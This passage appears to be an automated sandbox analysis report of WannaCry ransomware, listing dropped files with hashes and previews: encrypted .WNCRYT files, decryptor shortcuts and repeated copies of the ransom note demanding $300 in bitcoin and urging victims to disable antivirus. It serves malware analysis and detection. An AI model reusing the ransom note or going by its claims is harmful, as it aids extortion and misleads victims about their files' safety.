                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):516712
                                                                                                                        Entropy (8bit):7.999664486022489
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:GZoAL2/teigY0V0nelHrKduJOmyuO36jyZSuMf8:GaAL2/1gY0JlGqvpjyAuMf8
                                                                                                                        MD5:78DEF973ABC42C621F8A6FA299F60483
                                                                                                                        SHA1:9F4A53BD1838244E76D510168882F7F3254192CE
                                                                                                                        SHA-256:45AD56AA27E8669FBB97253F31B5B9ED9B1AB7848B932E6FE446FDEA9A3FFFDB
                                                                                                                        SHA-512:CA8E0CF1368DB3ED4D9B6B939120AB08F6DCA748E8C95C9E37D35064D7A99F07840DD646650F43F7DFC13183D99DF53CBCEC958446414A475D9D8191F3D13BEB
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.............9N.V......r.4.?.A.:..V-z.bd./.j..2^k..}......B...`j...[l6.b...?.*...RUs,O.J...)..6...........+%...k..T....p...@pY8=..u=..BK.}.uI..JJ....MU..g\..fL..?..P"G.i...v.I:.'...........jM.9..<.[..0.<.;..yI..q.w..]....3.......|?P..-..<..)Z/.....H........K....I...D.D.x..E...&.=.7,V.0..|.L../...L..K..?e.^.4.f......U..|..Y.g........Y...iboL@.z.....B..T...Cla.S..5~>..7.?..j.^.V|./.K/q.c(....P.^.q4(...E..T.._:8..R..3x.....W-.N.4f.h..3..w.a...&GS/....I.9H.F#./.i.......]....p....`Ri.w.........*....G..H..&..7...B....{g.9C...X....."h......fb%....0.{...#. g.......HT...\.J.zy.^..u0...|LqsmL%..x.....{.j.mJ...f...e|.wx.......VJ..l-...H[1....<.b...Z..._Ym.D.........I#m..w...(d............|%....2w...A...d...s...b...Z(.k`3..,.{..jVx.0.Ik.T..<....#P...C$..i.\.UH,e.G.v+....lTg...0.r........L.l....k..&..t.....E/.o6.;Y...3u..A.....s...9|.g.U.....|(..?O......N...F|......47N..#..g.7F..3...(7.kk..3^,s.)6.V.....Z.!.....i......|.y...f.I..

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):16664
                                                                                                                        Entropy (8bit):7.987697767144096
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:dVf9UhmZMjk00HhJVC2/xbaKvXlNSwNP9KukxpESBtFXM2B6JVMyk:rFUhmCjAvbeKvVNSwNP9mxCSBtFXpNP
                                                                                                                        MD5:B257AD38C747E046B77434AFA9CDC134
                                                                                                                        SHA1:034C4F47788F44679C189C6B724F8C74F645D5C7
                                                                                                                        SHA-256:9AD231CDE25A83CBE85136AC89EEE2B42868969FB9EF5E270034F2622599EE08
                                                                                                                        SHA-512:36BAE087936C896DA6073A7A53E72DEB3477FA4DD764882D8CA58AE926D93B2F866BD5A31F484043DCFC3B658B782178484D54B4C932B0B3B6343899F572625D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....`..i..8XE..o...SB.v#....M _PB.K.w...6+s...QT.x.&V..U1v.P._.6.J.2x.d.O#..Y......F1nR.Jcxo'M..:pJ..l.:...}....M.>.....M.......3.#.55.X..1<.RT.....w.k.....v+4[.a`~.Yq..UP.q....(.......i-...d.Q.m....cn.f..1@B...~...O..vQ......o.<....BM><...G..3.f..i.....@.......L.e._....6.....i..`&...+.....M.0(a...4..s.0`..H.>......o.i_.F5........s&|.......UD..`..`.u.0..q............/..(..p.F.s.....je.....%..F........f...j(Sr.Pm.ppj..S6V..Xo..].[..6..L..r.2X.9.6..BV...&....e...#.w.Y.eT....../Gj.T27U.^....V*#`.#.n..3..+.6(qk..S...=..N...../..E.......kH{!<..%....x7.h7.Z&....W..m9..0..5|.t]%...'.}y`y/...O.S...P.......7)'q..7g..P..cz.E>1..'I$.n.zrIyO`.5..........;......&/.....O.Oh.....{...o-..6.{....Vc..........eH..fV.Q[.N...r..t........!o(.....&....Nb....R.......i.\...L..Co....V...>..!.pK.....c... .j...b#7...2....b.4g....:.`.y....CV...>....A.b...//...>... .8..C.Fd6...av...~F..%...B.#..L..............1{.(~3k....}.q.O..K.P.._f..j94 .....5.G.6u..

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296168
                                                                                                                        Entropy (8bit):7.999447087231274
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:VWZybrU3CKMjkBRfJqJpbrqgs65khDbdGkx5zmVsoMQRy1aAzv4kIdm83w:Vb8SKMoBpJqJpbrhs6ihDbdGomujI8T
                                                                                                                        MD5:6C4996798549D29DFFEB213815C2BA15
                                                                                                                        SHA1:CAA4DAD1FC9DC17C6B4DF42392B1BDE0205AA07E
                                                                                                                        SHA-256:4B0EEB54A3AADEEC223CC850FF8B574D864435BE71805BD439D3DD6F93DF482E
                                                                                                                        SHA-512:95298747F35D0D09C4C710902C26DED0180E7B59662DEA5F7385588094F0B7969E03F8F3D40D9523A98628DB0DDF6F4D1512B27B581550E75C692D1CC48DFF66
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....d3.M.o.o..r.<.wy...eA.`...q.;..Y"W.J.N..T..:......n......O./{..r.w0.A .e.lP._..L<..tY..N.r...2-...."..l.V..1.=...l.{...|Z.:....,']?O"....q.......R.j(>+.y.....i....N.`K.S.m...h...(7.Qm..<._E..../B.e...@.;3.:nX/..S.r,B...Q..E..=p...P..Qc......Q..+............F.....5..Q.........?..'.:..J..6eP.:........[.........L.L.`.^.B....>..y..V..F.R..:........4[.3.= ........h.iL..!...s...73.....I4.W9iYv....&|..Y....%.t4...~.b....D6.d.......D.?...M.d...j.8.G*..M..=...qVo...:.X..E.......L.. ...Q.l.;.a3.. ..>.~.cO. ...H?..`...M..Op...&.H..D...x..@..J.H5C.`L.....%:9.....~0>.x..yO.#kb:.z.j....2K......o&?.5....n....7..&J...<y`.*.....Vd..3ta|)h-\J.e.s..x...5/.0...s.i..l./_......_.m..J.}..d.\9.........}!.U..........o...P..i..E.:..a..~#.n...!.... .)...$?.J...f.....=..U..C.m.Um...;..o&.M]E..w.D..,%..o...Y....!....`......~4.K{.<..$...T.9..-....Y..._Y.R`8....^...Pc6|....^3K#/......l..N.....g.:..(..........a.r]..C.. .2h..CW.Ak....L.\..%@...E=QwYK.

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):296392
                                                                                                                        Entropy (8bit):7.999386795213717
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:TPmHdthAtuXU410KAwDX4DNRoM2k44al8ijK8nXZ:TPm9tKNIzAaoDN2x8im8XZ
                                                                                                                        MD5:44C2B897ED8F8580CBCCC6B806053D25
                                                                                                                        SHA1:FDB45067AD5085ADB1ADD60A4AA3A3173EA3EA45
                                                                                                                        SHA-256:A08C5F43BD0A7408477C564C77D50F4A6BF75C933230ED3D38DFD677DD97C1CF
                                                                                                                        SHA-512:893DD7697D6A46BEB99E385AC8E1AB3AB79F6CEA8961F01424AAA0692DF43A08C116AB5290334830671ED6001026989A12A9ABBA586C7B50CBD1AA3676504083
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......;.T..b..9.....:-."M.s*.}..]..}ZQy.....,....#......Q...kD.,....W>.*.......E..[&&.}1.......{a..W....`..`..s.....9i1.........n("..X.q~.\.h......A......!..=.N..&t.1.Q.-.....2.Y.F..zM.........l..#...k..O~....D..x.,.)......f.p.y.h.....Y.;.............Taim.mG*.fQt....T..,t..x.U..D...o..p...e.z>y?<o@e..!>....\6....`...1.......tj~...J7.lH..x."../...Y[.q.F*.t.S0.........SpM.CH..>R...:........t.f...E..*.6|l..V.5.-;..1.8.b...!`...S........DL...-.x.........."....~.w..<+s...k....c>.e.`9n;.|...SO^.......2....2*....|W.H_x.Q.#.?g...n...M'....%..X......U...n.^(`..h....m&.....R.o...X......QRC?.iK...-.....RM..B4..t(..1*i..Y...F......0ath.cE.K)..PL52.A.a.0..R.dOz........vx..q....O|.ZP.[.$.0..?xi.O.....r..r...[M.~\.._.......*SY./.8..N..e..ea.4...P.)#.,..;..C._.P....K..G L..|...xPk`.G .....]..=/.Z...)].;%....H..)%u<.,.....}..az..r1-.%Z.uYA..:.........eo&.Y..OF....K...:.J......8..nB$_....#RP.Xf.1....3!aBR@A.R.B....00...."a.^...K.....dN....L......e

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\{C4C1099F-F739-440C-87E6-A09DB237D75F}.2.ver0x0000000000000001.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1528
                                                                                                                        Entropy (8bit):7.881260876076538
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkA+C3hPqDbpEMJFRdMM4mRVr3LVnVdkh1GGodhseUJLOVq5tk1DoPDNTn0Y6wp9:bkatqm4FhV3L5kmdhsvFOU81DoT0YT4U
                                                                                                                        MD5:0543E96C315DD40E2136CEB5A23CE2FF
                                                                                                                        SHA1:710301F5EC77C8AC78456670C24F0DAE714C517B
                                                                                                                        SHA-256:BADF3470D94DB24A4ABAFE1031FCDAFE07FDF663EB79FA135E81CBC5394CFCE7
                                                                                                                        SHA-512:A783DC111C6C78B7BC635DBD900605FDDB9056F02FB3462520E131A995A1CE44CB81A39DE19DCBB65836BF21F8E243A1DD6C2D64A9BAA9106F4119B0F9A4090D
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........l.{..+.m..Fq..P.\.8<7.p|A^.-......l...Y..b.:..j.~K....,...8xz.......K....T.K...b=..k...O.....~q..#...D.I..O.j...)..P.M.|.d.*.....m..].....$1e|.e.B..X.......-..F7JxV...m%.g.o...N..y=V..CZ.5....[.x(.....a.E#.l.._..)...F.r?.aX{.]."...cpR\...m................,....]+!..@.g.2/t..^o.....^........a...w........(.I...xq....rK.'. .B?........s9n.|..*%.......[G..K..f...s.)}..n...|....9...a....Nw}..v......a...Y...3.GB..t.....j.f......G..$80..#...{XHN.f}.L..$.A.*.....t. .=.:.4.f.s..K."5.. s.5.....`<PG.<.D}.i.{c2..9.M9i......[.....z\+.J.4..D.. .y.b.7.:_D.dV.(...r.f;.b.......k~.t..Oa....?....l ....!..R..(6..&.x.B...epC_.2|8~......i..3o[2.....m.....m4.Z....J....z.-....3.....).(.N.).*. .......=*S..v1..>.[......N4...n.....".?O./zcK..q...>.W.8...I].+.?N..+S...Y..3L.........xK ..o..M..?})......ej....P..q.CO...#..._..n..._.W,.Fl...|K....3.+m.5Hs.......<Oo.%.,...mt3G...........0q...7......5...............D..#.........M~..u.d.G..b.Z.4M..)F....Y.

                                                                                                                        C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):638136
                                                                                                                        Entropy (8bit):7.9997061940760545
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:fC7lC9UyqOUqP9Jg/K7RpD5Zbn08Zv2TlY7YI3t05g/5qI20:67f2PrvXnvGW32W/5
                                                                                                                        MD5:FA6D3E94E259F3F3020EBA22504EF29A
                                                                                                                        SHA1:E798DFD8633D5645667F90CE0D2B2F0F6813DB01
                                                                                                                        SHA-256:238933617A8EB343D3621073B88BE001E4B829CDC5C0C628C080D1569C40C41D
                                                                                                                        SHA-512:4AB20BF882626C82DBB947BF52940EB94A2B92ACC11221641A85322617ED1C840FCDAD5456FF5D1F7B26105F097F669DFE34CCEEA89F30304529FE79AE4BBA7D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....OV..]......HB.bIOuLNd..F...R.&....^....+."...[.o0.G...n.S]...6....L#..9.........^kI....a....x...i.\Q..)..`mb(&....../..)<.'....P..{...+.8..4.C...*.6N!....n......=.!..(.....|.&^......."..6.R...nd.u9...9.,..J.E.S....0....c..S.....s....7...bt....b............b..(...8..8.5..l.nqs..I...9L......}...m....:.(N..._-...Z..... ..|....H+....isF..x..peAt.....S._#..#.Lr...}...E...h.h."....v(.GUv)..../...}.\.@.E..1.9..Bq.9..........z.R...~/o.V....u./..F.x@......$"j..j..s.......5~mg.Z...6....e........u.5..v..k.4.u?.......D..........B..\.dSO.:T...'M...)0m.yP|..?]`..--.*Aw..1.j]..I.."..n.@.~..6.)..v7.............F.L&X........0.%kU[.!..WZ6B{.......5...P.e;T....A./..l\........+...HT...K..x.2.|..)...fi....".a.G..r...t.b".$.T....}.c.......J...%.^.........>C.&.p..`.$.z.....L~..8.g..%.h=......O...`.^..t...4-.rp...+...._....E.M.e-...X)..x.t.k.?.*Bi......r.(..4.8.teV.1..+..M.d.$.qN..D|z...d-.,.,.VJ3....>.i....t.n...u..oa.v."g..3...:{.5L.#.dZ......8!j>*.

                                                                                                                        C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\jquery-2.1.1.min[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):84536
                                                                                                                        Entropy (8bit):7.99753292176827
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:rLos9nSk7xiiNDgA1zaVYP7oIrskxrbm8YWtH0YCgyWasZVyT:f9SsiitV9MAsk2WtZy4WT
                                                                                                                        MD5:60575CBF0819A932B68A240B4F30C68A
                                                                                                                        SHA1:BBAA373CB766400CCD7535AECC13B1BE8FC0AA9E
                                                                                                                        SHA-256:349C6CDA9ADFA15573018243D7043FFD074B8A895DEEE9B176826278B69EFE60
                                                                                                                        SHA-512:5C8B095825B2EFF24B13ADC004571D485016E5EC4CC154BC80377F966DE91B6D2F50BB58AFC10AFD09344BB46DB8E2EAA5219ABCD21980339D5570FC7FFB046A
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!.....9...0...NN...@..6.@4.....'....|.;....C..........ub.Cx..|...s.$.."W..#2.[..x..../..aL..3.ij&V..m.v.9.Y.l.I.#.........h.\.n(..3.3......F.....A.#,y..\b.}.60...aykO]....5a ..j.....AO,..Cr*5v@...K`.A.5.E\O..9.J......b......#.|.}BY...x.e.'.u.6Y..o........I..........yZ...}..Q..o.b........KF.3{.....b...`.dS.-T.M...7\+ 6...S..i..n...&.2.z.W....;...g....."......R.>.!..&...S...<@...y..k..m.8[..j4....|.mZ...sBp...>.G...\.."p.A...~...)..g~..iCG....|..s;.5.......Z.LJ81kR......V.,.=9.t.wT.'.......[..S..uJ....4d.;..f..f....{.}....J].....[......_e.|.d.....Ye.?.[.._..r...`..7HJ...q.N...2.<K..[.P.z..x'C6..9...>z...{T..p^.M....W.h......e...#W.h...L...Y.h.E..T...\.Z._..k;...e..U..H....<..A......=].B......w... .....aZ.O9r..V....[>.Z.lt.>X...UO^. J.z..}.~..m.y..o...I...=.Cra...~...Ar.+Y..A.8...u2...t4.@[.. .../..R........lC.m..N.Y$...m......@gZ.N..-....N.G.#.D.B....w.....:{3<..<..8O.:.V..~!.J...T......g$.Is.{.}....P..m..]..:5?DA_.DH...:..0n.Y....i....

                                                                                                                        C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\kernel-1e468708[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):289832
                                                                                                                        Entropy (8bit):7.999335896369537
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:6144:54ggEE/A/ofPOkDT0TVvu+RSR+sO1qyVEeuYlTeBXkioJgS3Wg:54gD/GPDh+wNyCeuY1sXqFF
                                                                                                                        MD5:A288D2E2C611517ED92344ED9FE41C76
                                                                                                                        SHA1:4AA71D81FA22B93DAB3D252D7256B8877AD409CE
                                                                                                                        SHA-256:6DA76176B15CB7A2E1495307A3509284E0A1816E14836F1151E361E24DCA834F
                                                                                                                        SHA-512:E0E99A2B2717520D248DDEF52C232113285D178A742F898EFE163D7852C8262A172B32097AF0CEA15E448D8DBD25DD9681A660E5837EB873417F172C8024EC3D
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!......f.q....\}K......#..r...O...g...Vj....V...Y.../...!....n?.OR..Oj$.B...J3Rh.A.R.......3..).[NC.,...r..s..h.Gv.7.%......_(..,...U,..d..p.Z*..F..A'..'..7.z..u2.9E ..N61....GA....L4....G...K...J.lf.L....{.[SfYv.....[.T...+.~..JW.yC.5...SjfaZ..Mc+........k......x...';S....`.t.N=.fCAw.n.'.`gic.....g.....D.2bc....bTHp.n..+dR.S..:".g..Q{.!w...^...H=.m..QB..:...`.....vO..f'.=.:..K...MD......R...w......T...nB!.4.|.4#..-../&.!..}Y.......^..F.s.......T.|H1w....mV.d..k..F..=.lj1+.t..)...=g.?7E..g...@..7.d/H.y..O`.ip.%Q.&....DB..Q<..7D.Si`..R.1.....vh..A.K.q"].%.....4...._..".K...u1..B.\1b.`.........A H.]..sy5.w..}......J....j+....G.....x.m...X.;....LH.B...p....Tz.....Vr...yG.BNN...bD......tq.k..:gRPEg....cNi|..Wg(...L.._/@.:...iO...If...M]..s..&..{d....`R.....N#.....d...#s.D..q.....<..Ab..8.S.C0.).\WI....{...8A<...':dq4.....T......Z.H,".....-.*.]..Qu(d..3.p.....U+.R..]...p[7Bw_..U^.....6...V%.8_.'a.H......2...5...b.E5....'.$.R.(.iUh...

                                                                                                                        C:\Users\user\AppData\LocalLow\Microsoft\Windows\AppCache\4IW902AO\5\mscc-0.4.2.min[1].js.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4872
                                                                                                                        Entropy (8bit):7.963812307735115
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oUUbPtd2Q9OSaTylWqcvI1jQwpXbleaRltYuzyNpnrs7rVv+TNUWhMC6:QDOshaT+Zcw1jQ2LYaRTLzGnrgrVmTDU
                                                                                                                        MD5:6E61276056987688651B11F96BC51278
                                                                                                                        SHA1:F97FAFD3967E14F3D49206D208AF848D06540AFE
                                                                                                                        SHA-256:1988E0EC89B89919991C9DB523A42764D17298DEB90C0DF1CF502C5FE9AE17C4
                                                                                                                        SHA-512:D16EE4D66997D0981FA8EC2DCF2A5B205261A78ACFA127A0F2055D706503B3267C87BB6DD3E9EEBDFBF8976FC1B9DD5A1BC8C7B1BCF6DB99F9F29DADB77214C1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....'.Z.^z=......Q..[..f..[.S.-..._..&u....Z.e..t.v..#..)c.N.u;..3A..".m'..R}..7...~.4bg.:..h.~..L-<..O-|.t.`..*.V..6g..z.5.r1.a..*.{..L.6.T..^{0.K..<.W.]4.'9TJ.....p....#.`B..../N.....~...5T.f...+.H.qy....E.y...I[>QUw,t l.G...K3P%+u...O..6i..y...............<...l.)...H}A..L.\Kv._5...C.....s,.%/.4TR.....S........c..L....Q~9.C......jh.fZ..BX3'?.9.oHF.e.V.a..T.........8....A.m.....18g.K.N}t...Z..7..5....t.."Rzb6.......S...I..=.{j......l9RO.....~(.>.9........G.D...;v...<.l.dm.P.....n.9..|c.......3%.{....s....lk..|..e..9.b....I..-.0.s... }.}..{"..y^tX.....P<wo.'r.^...-,?s......|..PgOM.....3....O.....q5.}.-'.<...`..+...d.........g.c4.F.g`...[i9......U+.t...IT3."..s......C.Q.._...NX.M:...+..~T.-.OA8....!#..%H..z...~..y...;.).....}...{dt..Z|.;..*..z..H..^Q.,"..m.*...(ZHxN(.H.pVLu..px.\..8<..7l.-AX..B...N....~P".....ak..A...dSpmv.c.*.Vu......K..+;....&o]zt.f.$.|.._>...!jM...j....l. !/>.$V..60...9m....A0Z{/......"B...4;..P.,.m3...$.|.

                                                                                                                        C:\Users\user\AppData\Local\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\AppData\Local\@WanaDecryptor@.exe

                                                                                                                        Download File
